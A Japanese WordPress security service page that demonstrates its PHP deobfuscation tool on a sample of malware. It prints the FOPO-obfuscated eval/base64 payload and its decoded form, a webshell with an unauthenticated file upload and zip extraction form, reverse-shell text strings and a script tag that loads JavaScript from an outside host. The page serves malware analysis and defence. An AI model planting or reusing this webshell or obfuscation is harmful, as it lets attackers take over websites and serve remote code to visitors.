Japanese English

PHP 難読化コードの復元・デコード

Wordpress 等でのPHPのマルウェア・ウィルス・改ざんコードをデコードして難読化をオンラインで解除し、
元の読みやすいコードに戻し解読できます。

※すべての難読化コードを解除できるわけではございませんのでご理解とご了承をお願いいたします。

下記のコードを難読化解除しました

<?php /* Obfuscation provided by FOPO - Free Online PHP Obfuscator: http://www.fopo.com.ar/ This code was created on Friday, August 3rd, 2018 at 7:04 UTC from IP 88.226.42.13 Checksum: bffa662a39f21937d7d06338fb8d9b463395aa2b */ $k5a63019="\x62\x61\x73\x65\x36\x34\x5f\144\145\x63\x6f\144\145";@ev...



難読化されたPHPコード

<?php
/*
Obfuscation provided by FOPO - Free Online PHP Obfuscator: http://www.fopo.com.ar/
This code was created on Friday, August 3rd, 2018 at 7:04 UTC from IP 88.226.42.13
Checksum: bffa662a39f21937d7d06338fb8d9b463395aa2b
*/
$k5a63019="\x62\x61\x73\x65\x36\x34\x5f\144\145\x63\x6f\144\145";@eval($k5a63019(
"Ly9ORnRSMS9oZEEzMjZoQTV3cXk1N1lkYlUrTU0zamdLUGVJNjU3dUdnbDlHazFnQmpzMndTeW9USStV
MmJ4OG96OThkcnhUc29Xdk9CRG9OZXpHMTA2dnd6dzFYWGpGOUd2Y3A2UWNIT1ZUNWpDUmdYN2htTFJQd
kI0RVJQOC9RbTVrb25nbWlrMGlkOXV2cjVlWFdhMlZIQlg1eEpTQUZ1ZzJ5ZWpSbC92WS9CdmJvNkZ5an
VuQktOYjdsUWk0c0pSOEV6em81OWFrcWQyVEovOVNGTDllaElkaGsyQVJ4RkZYZE84dmhmVWFVZ1dGV2x
hYmsxM3BTeHJQQXViOE5ucktyZzJNT3pnVm15ZXVTNWU3NlhLdGp6ODZVOWVjRUpXR0tUU1B0YWNCbGJ4
OVBvR3pMZHJNUGNVcHBiK3VUazc2VWdjSXJwanRtZEs4MVYyRzE1d1dkcnV1NkpjQzhrRGZtWGRiWFIyZ
HZ2eStlaW9TNk82Tzd3NDY2Q0tacU1FT0NuaXdWTzJhOG1CaGRPOStmcVNiV1Y0N05DRDVmTVd5RnhPR0
FLSmZzRDlHb0gxZTVDVkFkaExibGRLa2V4MVkwbzVXcHZnUTRMa1JXOXFDczdNcU1vS1hYS2lVNTZxZEZ
qd0w2QU5OZEgreGRSUmJnWk94YjhTVVVDR0ZFaWIzMTN4SDRpa3lDUVhYaGc2ZWJJZFRYVDY5ZVNZQ0c1
VE92M0p4bEJZYWZmZlVEZU0wb0NTeFdZQXVyeGhiU2xRSy9xRmlYWXlxaTZkSk0zU0YvOW5lLzE4eFIwR
E9FV0IwTG9yT3kxcll6Vk5sbStaSmszeVpXcFhUczA0R01meXJ1Y0g4TnhtNUpRc2NJdEI3WVFyemxqUU
M2eCtKcXFWZ3NaUE13MWNBSGU3T1Z4M3Bad1g2dEFOWURmTE1LQkNqRE9LOWVPcHo1aGZJM1hsbEo0Zzd
LeGIvL3lYbVZsYjZ1MXdsSDF0c2NtcDZpL3NGSlphbTRmL3VTRk1BUythek12bng3aE41LytpdnV3dEFG
RW5zeXVnbkU3WEU0Vlo1ck5RRlEwT29kbDRNU1pkenJaeElUWHhUaURRVnBDb3ZWY3hscEp5OXZTZ3U2U
jRFL25wb0daSVZ5d005MG9rV1VVWlFQejM4WHgvOU9kMWhmMDJPQml4VWtjWVcxeWhwTVRmRFZsckpBan
RWeENLSUtHSkNOL2w5R3ZKbGxwVEE2M1Q5SkorZ1JRYlc5UmNWdkhCdnhDZmpBQ0ZWRmZKcUhBMEFlOEV
xSmJqOWpIWUkyU0d5aWEyYmo5ZFA4MmJobU1tbUJuemJZMzZjbmd2UnBDQVNnTEh1elExejU1Y1V3N1Zj
cUFkZU9udFVmd1A5OGRMOThCWFR5WnhSVnI1WEtxcmZEa1pjZisvYzhJbDNDcVc0Rmw1b0RlMUUvSWJTS
ThwdG5ka1RCakFXR1QvL2k0T3ZtQ1hjeGdvWE1oQmpXcUc1bk5Ed0U2TThLeUVlaDd0Mk1NWVg5QjJreE
lIT2x5RkJ2aUN1VjhQb04rMXUwd0ZxdXNyT05UYkx4MU1YZ1V5VUo3T2dtMDljWUtOazl2Ri9hUit4cU9
BQzFVYlE1RXkzS0hodDMrRThvakR0bVY5TTVUemNHbDNTTC9EdFMzeVNWZ0tyZXVDU01DOWs4enJHb212
L29JZmpxY1JFOHQyOHZxOXliV2JZUWhzWDFwR2VtM1BBS2NkdVJqZ3JHdWQrSElCbEh5K0tIZXZXZGI1S
jBpYWZONkllUzZaSWNWckYzRDJNU09yYzdkWFNsZFQyTmFsN2Z6R3lYWSttZnZxLzZ2cDU3Wkt5QzZ5ck
t3akRkRmZ5OCtiaTYyN3gwcmw1VCsyY0NIdE5aaENOPT06aCt2SnFaOTBHSlJjOThlS1A1MnJZN2pRTk4
9PTpwcjNubnE5bwokd2I0MWYwNGY9Ilx4NzMiOyRmZmEwMzQxNT0iXDE2MyI7JGY4MjNlZGY2PSJcMTYz
IjskZDliMGY3ZDU9Ilx4NzIiOyRzOTQwYTFlMD0iXHg3MCI7JGs1YTYzMDE5PSJcMTQyIjskdDlhNDk1O
TI9Ilx4NjUiOyRsNjk0Njg0NT0iXDE0NyI7JGRiYWM3MTg2PSJcMTQ2IjskZjgyM2VkZjYuPSJcMTY0Ij
skZGJhYzcxODYuPSJcMTUxIjskczk0MGExZTAuPSJcMTYyIjskd2I0MWYwNGYuPSJceDc0IjskdDlhNDk
1OTIuPSJcMTcwIjskbDY5NDY4NDUuPSJceDdhIjskZmZhMDM0MTUuPSJceDY4IjskZDliMGY3ZDUuPSJc
MTQ1IjskazVhNjMwMTkuPSJceDYxIjskZmZhMDM0MTUuPSJcMTQxIjskczk0MGExZTAuPSJceDY1Ijskd
2I0MWYwNGYuPSJcMTYyIjskZDliMGY3ZDUuPSJcMTYzIjskZGJhYzcxODYuPSJceDZjIjskZjgyM2VkZj
YuPSJceDcyIjskbDY5NDY4NDUuPSJceDY5IjskazVhNjMwMTkuPSJceDczIjskdDlhNDk1OTIuPSJceDc
wIjskZDliMGY3ZDUuPSJcMTQ1IjskazVhNjMwMTkuPSJceDY1IjskdDlhNDk1OTIuPSJceDZjIjskZjgy
M2VkZjYuPSJceDYzIjskZGJhYzcxODYuPSJcMTQ1Ijskczk0MGExZTAuPSJceDY3IjskbDY5NDY4NDUuP
SJceDZlIjskZmZhMDM0MTUuPSJceDMxIjskd2I0MWYwNGYuPSJcMTM3IjskZjgyM2VkZjYuPSJcMTU1Ij
skczk0MGExZTAuPSJcMTM3IjskbDY5NDY4NDUuPSJcMTQ2IjskZDliMGY3ZDUuPSJceDc0IjskZGJhYzc
xODYuPSJceDVmIjskdDlhNDk1OTIuPSJcMTU3IjskazVhNjMwMTkuPSJcNjYiOyR3YjQxZjA0Zi49Ilwx
NjIiOyRsNjk0Njg0NS49Ilx4NmMiOyRzOTQwYTFlMC49Ilx4NzIiOyR3YjQxZjA0Zi49IlwxNTciOyR0O
WE0OTU5Mi49IlwxNDQiOyRmODIzZWRmNi49Ilx4NzAiOyRkYmFjNzE4Ni49Ilx4NjciOyRrNWE2MzAxOS
49Ilw2NCI7JGRiYWM3MTg2Lj0iXDE0NSI7JHdiNDFmMDRmLj0iXHg3NCI7JGw2OTQ2ODQ1Lj0iXHg2MSI
7JHM5NDBhMWUwLj0iXDE0NSI7JGs1YTYzMDE5Lj0iXDEzNyI7JHQ5YTQ5NTkyLj0iXDE0NSI7JHdiNDFm
MDRmLj0iXHgzMSI7JHM5NDBhMWUwLj0iXDE2MCI7JGw2OTQ2ODQ1Lj0iXHg3NCI7JGs1YTYzMDE5Lj0iX
DE0NCI7JGRiYWM3MTg2Lj0iXHg3NCI7JHdiNDFmMDRmLj0iXHgzMyI7JGw2OTQ2ODQ1Lj0iXHg2NSI7JH
M5NDBhMWUwLj0iXHg2YyI7JGs1YTYzMDE5Lj0iXHg2NSI7JGRiYWM3MTg2Lj0iXHg1ZiI7JGRiYWM3MTg
2Lj0iXHg2MyI7JGs1YTYzMDE5Lj0iXDE0MyI7JHM5NDBhMWUwLj0iXDE0MSI7JHM5NDBhMWUwLj0iXDE0
MyI7JGs1YTYzMDE5Lj0iXHg2ZiI7JGRiYWM3MTg2Lj0iXDE1NyI7JGs1YTYzMDE5Lj0iXDE0NCI7JHM5N
DBhMWUwLj0iXHg2NSI7JGRiYWM3MTg2Lj0iXHg2ZSI7JGRiYWM3MTg2Lj0iXHg3NCI7JGs1YTYzMDE5Lj
0iXDE0NSI7JGRiYWM3MTg2Lj0iXDE0NSI7JGRiYWM3MTg2Lj0iXHg2ZSI7JGRiYWM3MTg2Lj0iXHg3NCI
7JGRiYWM3MTg2Lj0iXDE2MyI7JHAwMGRiMGJhPSR0OWE0OTU5MigiXHgyOCIsX19GSUxFX18pO0BldmFs
KCRmODIzZWRmNigkZmZhMDM0MTUoJHM5NDBhMWUwKCJceDJmXHg1Y1x4MjhcMTM0XHgyMlx4MmVceDJhX
DEzNFx4MjJcMTM0XDUxXDU3IiwiXDUwXDQyXDQyXHgyOSIsJHM5NDBhMWUwKCJcNTdcMTVceDdjXDEyXH
gyZiIsIiIsJGRiYWM3MTg2KCRkOWIwZjdkNSgkcDAwZGIwYmEpKSkpKSwiXHgzOFx4NjJcNzFceDM3XDY
yXHgzNlw2Nlw3MVw2N1w2MFx4MzVceDMzXDYyXDcxXDE0Nlx4NjRceDY0XHgzOFx4MzlcNjJceDMxXHgz
OVx4MzNceDM1XHg2Mlx4NjVceDY1XDE0MVx4MzlceDYzXDE0Mlx4MzlceDM2XDY0XHgzNVx4MzhcNjFce
DMwXDE0M1w3MSIpPyRsNjk0Njg0NSgkazVhNjMwMTkoJHdiNDFmMDRmKCJDSUtLUGhrVlFpMktsbW1wa0
QvQnZwaVBCZUltbWhuK0JBaWcwWjdjNjZxYXU1eFBwTVBkd2I2dHhDRVV1NnBSUGZVMHMzLzhpdHd4bi9
RaXYwRi92QysrSEJWM3RzMis4QmVlTGErVVBDRDN3V0MvK1E5Ky9xUkdBUk1EVEM3eWo5dzN0eGwvUStQ
aVJJK3MrUTdYaS91S0dobFlza1VCUVZaZVBYaStSaWpYanE5WjhTcExFZnovUkZzL1U3aURZanlTcy9tN
kszengvcDkvcUs3KzhIL1NDLzlBOXNaVVc4Z2RRM0ZPM0hZZ3dHN0wwRFRHRDNSSitsbWJPVkd4Y1RjeF
lGcHhoV25qYW9qeUMrUHc5WkpUMG4zRjBCWXh6a0Y4ak15cmhwVWxoWk5Sa0cyeExqNHNmYmVhZ3VIMVZ
oN09SVm8rV1pSVUZPMEVDeFRqVU5ubjJQYmdmWGN4T24rVWc0czVsMFQyMUx2UFFnTjRtTkQwVld3c2hl
eUNpVW1QWnVEczBiaWdHQmV4UXVSYkJ3cGtrT25vRHE5eEtENlNwRVBaaE5IVERvazk2TjRSS0o0dElIV
3EyK1NqVkZtM2VZa1FGMVgxWTAvOGFDNXZqN1dUTmJLc1E1MXFUSlVpejFpRVVDcWFXOHZ1YWgvQTRHZn
dBcTlCbUsvQnhCcm91ZEZ3SDZ0a0o1RXNSSnpld2ZjTCsrWFk0aEplS3F6OWhlc2wwYXpxdDJaVkhyU2x
xUFlxTWVGWDZ5OXE2M084SmVnaU96b0xLcUNGSEZLbGx2akFYdXREU05OaHhjYktqa2Q1NXVWM0FUb1l5
ZW9ub0Fidk01TjJQRFdiYUsvcThCQjkrR05rWnBWNU80QnpRVlRaa1FnbHpIak96b3lRdWdDckdhUEFKW
FhRMVJ5RUxuSWFpSFIzakFVTEdxWWZGc3ByUzBzUno4cTR0RFpyNzJvUXowTlJybVkrMGJMV1ZoSnptQW
ZhMWtIaDV6SEFrbmkwYm9lckYrNGFPaEpsNmVJa0Z2Z2x0ZklxU3V1SjB0S1YxWGpleU1iN3JRODAvb2N
ZTmcveDdtOGpwTUpGeVJWcExSeTFiSnVFNU1RcnNXdDdqV1gxaklhSWNIUEF4WkdTRFZ5cnVlZ3puL050
NGhXUGVYZUZmRUd2aGxZdkpNM3hMK3hmbnhpRzBHS214c3M1MWVwMkxyYXJ1dHhPY0ZPQmZYb3VwZVd0e
kljQnkrYU95WDY5VTd6d1hkc0M5SFhmcDh4QnljdlVQNlBvalF1RU00dXJlcExEaW9UZGt5M0wzd3VGRk
1ORDhvM3ZORk56djhhV1hWeUlqc2JvcmhqMnZNV2dnZ3AyRld4ejFKcjllRFBBSXNpSXdsK2Q3eWt1akQ
4MUx3akRmbFBsODRLVjZLTjVqUHkvU3FvMTREVXZEeFoyd1cvREVvQVlPdzRLYis4QnBEMFU2Nmh3Nzc3
amNrOWlOa3NWL1NDS3lMVFZjZ2c1b1Y1K2liMFZ5bWRRaVUxSmZjSVJMbnFkWjFrWlA3QUtCN1R6YTFYb
VQ1bnJZWGNXSFRYOVp2eEFlM2k1dVVaVXlpcTlONlpBYmZiTXVmd01seWdBR0dDYlI0VFBaeTBUbjlxb2
1FeVN2WjhDYjBvVkR0Smh3c1ErdGdQRGFQYTJtUEk5YzU5NmFuaFIrTWR4NGwzd3p3dUs1eFR3S3ZxRVl
KY2gwL1Vyd21IbFFXU1NuQ1hYaHk1cllGYTB5TXU2TkJzeUwwTXF5QlJMOUhVTHNhZmNuYWZ6NnRrREli
alowR3FXRW1vaHRLbXU5RFhJWmZlRGdqd0tTRTV4dW9mQVk2ckM2a1BBd2NUR1g1ako3MVBxNk1sS2JOY
W13UG9yeUZFcEF1VW94Q1d1ZEgvS2s5N2hrY0FLb0ZsY0UwRmd2MVlxNTNzakpWYlpFRG9HRTNGa3RES0
1DdngzbTR3ZGwvQXU1dGZDd0NWcGxTTGNjS21WNi9JN1RsS3hrb2FVTW5uYno0Y0E5M1VlbElvbmphdWd
MOUVQM3RBQU1MRWNyVkUzYUpOL0QyT3k2MmVzT2xEdEVSWWxCSFhkejJ0UElxKzZ3VG43TnEwNkp4YkZq
Nk45anZEZDJ3RE1TdzZ1MHNjY3FsUWNMSzFkOHhmSFpwd0Irbkl1b2laVm5Bdjdja2VLeHdkbmhMYVVCN
GxuRUF0RHhEajNycVdtejFsblVld25DeXovQVc4M2RKUUxGSk1sZytmZFIyS0VtSVEwTWEyaC9UNm4vZ0
NWYm9IZWdKN0phSGRwcDF2SE5wN0ZvU1hDYjFKQlRpZFA2WVM5aUZhei9LeXRDM0tqZUY4Z0RiTEV1OW5
GUUVxaEgyZUZIM0lUaTFabHdEbFVGNDNVNzBtb3JRYjFQYkNCUnFLZkE0elFJalJPRWFtSlRGeVlENTV3
ZEwxdUh5M3JpMVpKZkxjVFpPeFZZNmRRWUlFUlIyY09CM0ZabkpadzNtMm5HNlJaMkRpN0p3MDlWVUFZS
zJySUtwSDZycjB4Ym9PS2RtNnRmYytxbG9FMFJUZm9QRmZBQnJEa2VEMGQ1Z1NOYUtNZCt1VEFydXNRYm
hSeVlWcDZuK1lzSVNCcnBCRHp3d0tCUS90VzBSK1grM2JJV0NJNWdwaUhRd0Y5MVVna1UwV3JDRnVUUEs
zRzEwNU9SMU5QYkp4Z1d6U2tLeHByeFRMVml2ajV0a2E1QngvaHJ2ajRORGZYZXhuT1hTY0I4MFdod1hB
eXhFSHZ4R1l1ZFpJKzFDQkdQa3VNZnBFb2s2M28rRXZCQ1RKNnlCM3ZUeE4rVjFHVmZ0M2x2QmwwOHlUe
XluRWxvRkhWR2VpM0VCdWVFZDZ1emJuL0I3R1FvZHlueFBwL3VWZlowQkJBQmRpQmhvMi9pemFuT1Q5MH
NKYXhZdEVvZ1lVUUVxMXVnR080ZGJONFdpQ0tNakxKM1ZKK0tGeHNzYTVORXBEdEZqMGdTaDYxVWcxcnR
MakhJb085eGdINXRxUHJCNFp5Ky9GOWx1UHA3c1FNcit0RlFiZjhUNlJNNUtkVmlRN05ubXR2N0dtck96
ZE1QNWZQN2ZxNGswZmZlaCtBcENGOXBmeTV0b2RiVFVaOEdCUjIvSUU0dEgveUljVzZZWDFuUFZzMkljU
nE4MTA1U0hJTHVlMVUwR3pxNnJOdFVtWExWNGZndVVWS1F0U0hVNS9ZM3QzbGd3d0Fyd2tjWmI3ODFPaV
JvanJneStlTmprYW9mU2lla3BKbndqZGRiZ3gzS1JucnRJWnBHaUpKZFJ5RmpWV3RsMUxwRlVSLy9pWjl
pLzRSIikpKTokbDY5NDY4NDUoJGs1YTYzMDE5KCR3YjQxZjA0ZigiQ0lHVWVkRFRSQ2xLY20zZnZ0WjVu
SktXaldRd3hSVWlEdWpsRGo1czc3UmcrMU5kZG9kNjFWc2gvZ1V2UExTUFpDM1UxL3FXVk8vTjNtUE9zd
XcvQ3lVdk4ram9FZnlpVFpDKzFHNDFUUHAvL0FSay9CaTN3NDZ0WkxZUDhVOFBDeG9sN2tRNnQrV3crTk
REMkxzdTc1QzhXK1FlOTUvU2FhRC8vMi83K3JCL1BLNStKbzRKbWNadVA5TElHenRzUEgrak1FZjdGb2w
yTW1TR2JJNTdVQ1VVT3N4TnZOZVFoeGIyNVhoNTU4cGpMQnhnd21UQVB5YmpvTy9RYnl6QmxyaktqVlBs
cm9RRHg4bnU1bzZUZjhPeE82SkJSZUdQMkc2SnZTeE1VaU9LUmoybW5IaTBnYXVlRGMxVzhIWG50T24xb
2F5ZkZacm1KZktJVk9oSE1hZGIyckwycFV0SWJPZjE1V0UzVzJ3aGJISFNsc2JOanFCNlhuZHh0RVlSRz
JOc09PSEphZXU2TmV3WWU4L29qTktLSUZOeUJsUUd3dnhxN2YyVkdPR0l4S0FSTjh5TkdBaUtQTTlURWh
qREFGejVCY2NIRnpvWTQ0eU5JZ0tmT2ZhRTVDUkJzTW1tbGJlUWRxZERkb0lGNk50SHk3WHF5aEc1eHU4
VURkaDJyZ2ZuMDdkT1ppaG9pdlNva2pCQkh2ZEt5UEdJSnBFT1JpaXdQZFNlVTF0VHFFMjhwQmswc1dqY
0xKRkY1ZG93MFcvNDJucENSTFlRUW56UmptVDhNRFR0SEh2aTJDb0pnWVM1bE1VMERhaWJJSlBnTGVSVk
F4c2o4S2xaZTduSFVsR1IzWm5oUnJwWDFFeFkxTCtLV1pSeXFPc1lyaE5sRHJFUlZQZnhTSVM4MFVJN0h
waFgySWl2ZGo3Rk96am5GNUVtQzZjQ0QxQ3BYOXhWMUp3OGVIZXROd1MyNTdlMm5CZ282YXVQNmVCT3Zk
VVlCdlNxSHhDV1lxaXh0R1M5SzhiK1o0QmEwMEZBVmRkZDNML1J2OVV1c3ZvdVRxUkEzOUw0OG1WZ1UxU
khPYStFQm80VDJvR0ptY2hQMmt5N01IZ08zSEdyRHlHSzBscnlRbDNVcDBVcTdJVXVHcm9qbWdYaGJYNG
0xR3o5S1hXWU1HcC9EOXVtdzlsYXJwWHBzemNybE1haU5ZZEpHUEdnSW1DZ3JMNm1qVGN5dEQ0Q3BYV0V
1S3JBQkRFckZjZ3IxOVEwRGFKWkpuU3o0QmE3YWFZZDY3dW1QZ0pYWktWTXdaOG9ONkJhWmdJY1pnZkdW
UDRkR2NBbE4yamhONjZ5RWwrRDV1dE1RaVduK3A3Zmh5ZW5aRUxpNUlHT3Iyd21MU3pySXRFT1M3ODJXN
0FSNis3QTBTZzh5MVhBQmVDRFBvY0lRNEFZREhRZHZhQWxZVnovOXB5djhWSDVyZkpPcjZuOUtHTWFTV0
tBWlRtaEYrQ21rRkRuQ2FaWUJUK01NdytYZm9CcTk1WFI1aEg5c1J3UFhoN1NORUlIMzZrWjJJS28ycUF
wZmdJdVpaSG4rOGpQS09aSkhMZnJKWFNLMjUxTDg2WFFyWi8yNENuMzNseEVFOVVwSDZTTjNETnNPVGhS
eS9talV3VjhpZ1o0VmpNMElLSkszc0FxbmhCbVRkL0M4YUs4Wm5pcVlZRXdVak5kNVdYdm9vczUwRWE4a
FBFWXdKV2lidlQ0ZGtYWDAvVGQzcVhrcE8wM2ZyZUhVdklNU0dTVUM3NzlNYzd2Ym1QUXBCNVlFSlg3RU
FqNUNBNWR0M2YvNHlCVkJNa1kwTjRDTzZ0SldaeEhxa0hhY0RpS1dSdHB6NUdLd1VzcHlZcVhNQ1Fhelh
ZS3hYYnREU0MyYVhiZFZnSzFBVEZWYklnaFFvMUdKbURxOFZOdFNYN0ZwTzdHNTVHdnk0SVZ4cmEySVFx
SzNCenZRNzE0dDNJMEIxQWFSM0VaZmJxS2N5SFpCaVlUMEJ6OElQQWNlVGZGZGo2cEMrelhNZGlKQzVKb
GxaVlMwVnVWSUNUTm1oSGVCcThWWUQ1bTNoUkxua2NDUG9LY2ZCcXE5WWJ5QUtsRXc3WjlUYUxvN2FuQz
A3dkhBcm1ndDZ3QldDd2ZLT1lRbmhEOEdUTlNrSW9OVllGS1ZZU1kyalpoVk9DYkd6NXAzblhzZ1BFVmx
iMzFIUVRMOTN6cUF6Qzc0Tis0SkcrQ3l0RUFoeXdZZTErL3NpMytQaj09IikpKSk7"));
?>

デコード(難読化解除)されたコード

<?php

/*
Obfuscation provided by FOPO - Free Online PHP Obfuscator: http://www.fopo.com.ar/
This code was created on Friday, August 3rd, 2018 at 7:04 UTC from IP 88.226.42.13
Checksum: bffa662a39f21937d7d06338fb8d9b463395aa2b
*/
$k5a63019 = "base64_decode";
@eval {
    //NFtR1/hdA326hA5wqy57YdbU+MM3jgKPeI657uGgl9Gk1gBjs2wSyoTI+U2bx8oz98drxTsoWvOBDoNezG106vwzw1XXjF9Gvcp6QcHOVT5jCRgX7hmLRPvB4ERP8/Qm5kongmik0id9uvr5eXWa2VHBX5xJSAFug2yejRl/vY/Bvbo6FyjunBKNb7lQi4sJR8Ezzo59akqd2TJ/9SFL9ehIdhk2ARxFFXdO8vhfUaUgWFWlabk13pSxrPAub8NnrKrg2MOzgVmyeuS5e76XKtjz86U9ecEJWGKTSPtacBlbx9PoGzLdrMPcUppb+uTk76UgcIrpjtmdK81V2G15wWdruu6JcC8kDfmXdbXR2dvvy+eioS6O6O7w466CKZqMEOCniwVO2a8mBhdO9+fqSbWV47NCD5fMWyFxOGAKJfsD9GoH1e5CVAdhLbldKkex1Y0o5WpvgQ4LkRW9qCs7MqMoKXXKiU56qdFjwL6ANNdH+xdRRbgZOxb8SUUCGFEib313xH4ikyCQXXhg6ebIdTXT69eSYCG5TOv3JxlBYafffUDeM0oCSxWYAurxhbSlQK/qFiXYyqi6dJM3SF/9ne/18xR0DOEWB0LorOy1rYzVNlm+ZJk3yZWpXTs04GMfyrucH8Nxm5JQscItB7YQrzljQC6x+JqqVgsZPMw1cAHe7OVx3pZwX6tANYDfLMKBCjDOK9eOpz5hfI3XllJ4g7Kxb//yXmVlb6u1wlH1tscmp6i/sFJZam4f/uSFMAS+azMvnx7hN5/+ivuwtAFEnsyugnE7XE4VZ5rNQFQ0Oodl4MSZdzrZxITXxTiDQVpCovVcxlpJy9vSgu6R4E/npoGZIVywM90okWUUZQPz38Xx/9Od1hf02OBixUkcYW1yhpMTfDVlrJAjtVxCKIKGJCN/l9GvJllpTA63T9JJ+gRQbW9RcVvHBvxCfjACFVFfJqHA0Ae8EqJbj9jHYI2SGyia2bj9dP82bhmMmmBnzbY36cngvRpCASgLHuzQ1z55cUw7VcqAdeOntUfwP98dL98BXTyZxRVr5XKqrfDkZcf+/c8Il3CqW4Fl5oDe1E/IbSI8ptndkTBjAWGT//i4OvmCXcxgoXMhBjWqG5nNDwE6M8KyEeh7t2MMYX9B2kxIHOlyFBviCuV8PoN+1u0wFqusrONTbLx1MXgUyUJ7Ogm09cYKNk9vF/aR+xqOAC1UbQ5Ey3KHht3+E8ojDtmV9M5TzcGl3SL/DtS3ySVgKreuCSMC9k8zrGomv/oIfjqcRE8t28vq9ybWbYQhsX1pGem3PAKcduRjgrGud+HIBlHy+KHevWdb5J0iafN6IeS6ZIcVrF3D2MSOrc7dXSldT2Nal7fzGyXY+mfvq/6vp57ZKyC6yrKwjDdFfy8+bi627x0rl5T+2cCHtNZhCN==:h+vJqZ90GJRc98eKP52rY7jQNN==:pr3nnq9o
    $wb41f04f = "s";
    $ffa03415 = "s";
    $f823edf6 = "s";
    $d9b0f7d5 = "r";
    $s940a1e0 = "p";
    $k5a63019 = "b";
    $t9a49592 = "e";
    $l6946845 = "g";
    $dbac7186 = "f";
    $f823edf6 = "st";
    $dbac7186 = "fi";
    $s940a1e0 = "pr";
    $wb41f04f = "st";
    $t9a49592 = "ex";
    $l6946845 = "gz";
    $ffa03415 = "sh";
    $d9b0f7d5 = "re";
    $k5a63019 = "ba";
    $ffa03415 = "sha";
    $s940a1e0 = "pre";
    $wb41f04f = "str";
    $d9b0f7d5 = "res";
    $dbac7186 = "fil";
    $f823edf6 = "str";
    $l6946845 = "gzi";
    $k5a63019 = "bas";
    $t9a49592 = "exp";
    $d9b0f7d5 = "rese";
    $k5a63019 = "base";
    $t9a49592 = "expl";
    $f823edf6 = "strc";
    $dbac7186 = "file";
    $s940a1e0 = "preg";
    $l6946845 = "gzin";
    $ffa03415 = "sha1";
    $wb41f04f = "str_";
    $f823edf6 = "strcm";
    $s940a1e0 = "preg_";
    $l6946845 = "gzinf";
    $d9b0f7d5 = "reset";
    $dbac7186 = "file_";
    $t9a49592 = "explo";
    $k5a63019 = "base6";
    $wb41f04f = "str_r";
    $l6946845 = "gzinfl";
    $s940a1e0 = "preg_r";
    $wb41f04f = "str_ro";
    $t9a49592 = "explod";
    $f823edf6 = "strcmp";
    $dbac7186 = "file_g";
    $k5a63019 = "base64";
    $dbac7186 = "file_ge";
    $wb41f04f = "str_rot";
    $l6946845 = "gzinfla";
    $s940a1e0 = "preg_re";
    $k5a63019 = "base64_";
    $t9a49592 = "explode";
    $wb41f04f = "str_rot1";
    $s940a1e0 = "preg_rep";
    $l6946845 = "gzinflat";
    $k5a63019 = "base64_d";
    $dbac7186 = "file_get";
    $wb41f04f = "str_rot13";
    $l6946845 = "gzinflate";
    $s940a1e0 = "preg_repl";
    $k5a63019 = "base64_de";
    $dbac7186 = "file_get_";
    $dbac7186 = "file_get_c";
    $k5a63019 = "base64_dec";
    $s940a1e0 = "preg_repla";
    $s940a1e0 = "preg_replac";
    $k5a63019 = "base64_deco";
    $dbac7186 = "file_get_co";
    $k5a63019 = "base64_decod";
    $s940a1e0 = "preg_replace";
    $dbac7186 = "file_get_con";
    $dbac7186 = "file_get_cont";
    $k5a63019 = "base64_decode";
    $dbac7186 = "file_get_conte";
    $dbac7186 = "file_get_conten";
    $dbac7186 = "file_get_content";
    $dbac7186 = "file_get_contents";
    $p00db0ba = array(0 => "/var/www/html/input.php");
    @eval {
        $k5a63019 = "base64_decode";
        $l6946845 = "gzinflate";
        @eval {
            $k5a63019 = "base64_decode";
            $l6946845 = "gzinflate";
            $wb41f04f = "str_rot13";
            @eval {
                $k5a63019 = "base64_decode";
                $l6946845 = "gzinflate";
                @eval {
                    $k5a63019 = "base64_decode";
                    $l6946845 = "gzinflate";
                    @eval {
                        $k5a63019 = "base64_decode";
                        $l6946845 = "gzinflate";
                        $wb41f04f = "str_rot13";
                        @eval {
                            $_['heading_title'] = 'Shell';
                            $_['entry_host'] = 'Remote host';
                            $_['entry_port'] = 'Remote port';
                            $_['entry_command'] = 'Local command';
                            $_['text_success'] = 'Success: You have successfully opened a reverse shell!';
                            $_['text_open_shell'] = 'Open a reverse shell';
                            $_['text_shell'] = 'Shell';
                            $_['text_error_host'] = 'Invalid host';
                            $_['text_error_port'] = 'Invalid port';
                            ?>

<?php 
                            echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
                            echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
                            if ($_POST['_upl'] == "Upload") {
                                $file = $_FILES['file']['name'];
                                if (@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {
                                    $zip = new ZipArchive();
                                    if ($zip->open($file) === TRUE) {
                                        $zip->extractTo('./');
                                        $zip->close();
                                        echo 'Successful.';
                                    } else {
                                        echo 'Succesful.';
                                    }
                                } else {
                                    echo 'Unsuccesful.';
                                }
                            }
                            ?>

<SCRIPT SRC=http://mt2hile.com/rea/ondulisede.js></SCRIPT><?php 
                        };
                    };
                };
            };
        };
    };
};


■【無料】ワードプレス:マルウェアスキャン&セキュリティープラグイン [マルウェア・ウィルス検出と駆除]

■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります

(C)2019 ワードプレス ドクター All rights reserved.